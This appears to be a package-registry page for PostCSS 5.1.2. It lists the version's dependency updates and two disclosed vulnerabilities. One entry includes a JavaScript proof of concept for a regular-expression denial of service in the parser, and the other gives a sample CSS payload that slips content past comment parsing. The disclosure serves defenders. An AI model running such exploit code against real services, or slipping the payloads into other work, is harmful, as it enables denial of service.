PostCSS version 5.1.2 represents a minor update over the previous stable version 5.1.1, offering refinement and dependency adjustments relevant to developers utilizing this tool for CSS transformation. While the core functionality remains consistent, certain changes in the development dependencies suggest underlying improvements in the build process, testing environment, or linting and code quality checks. Notably, the ava testing framework sees an upgrade from version 0.15.2 to 0.16.0 and eslint from 3.1.1 to 3.2.2, potentially indicating new testing features and stricter linting rules being adopted. A slight upgrade in sinon (1.17.4 to 1.17.5) for test stubs and mocks. Also, yaspeller has been upgraded from 2.8.2 to 2.9.1. The update switches babel-core from 6.11.4 to 6.13.2 and babel-preset-es2015 from 6.9.0 to 6.13.2, removing as well babel-preset-es2015-loose.
For developers, the key takeaway is enhanced stability and code quality assurance. While no new features are explicitly mentioned, the updated development dependencies likely contribute to a more robust and maintainable codebase. Those relying on bleeding-edge Javascript features will appreciate the babel upgrades. Users already on version 5.1.1 are encouraged to upgrade to 5.1.2 for these incremental enhancements. Before updating make sure all the latest configuration changes are compatible with your tooling.
All the vulnerabilities related to the version 5.1.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.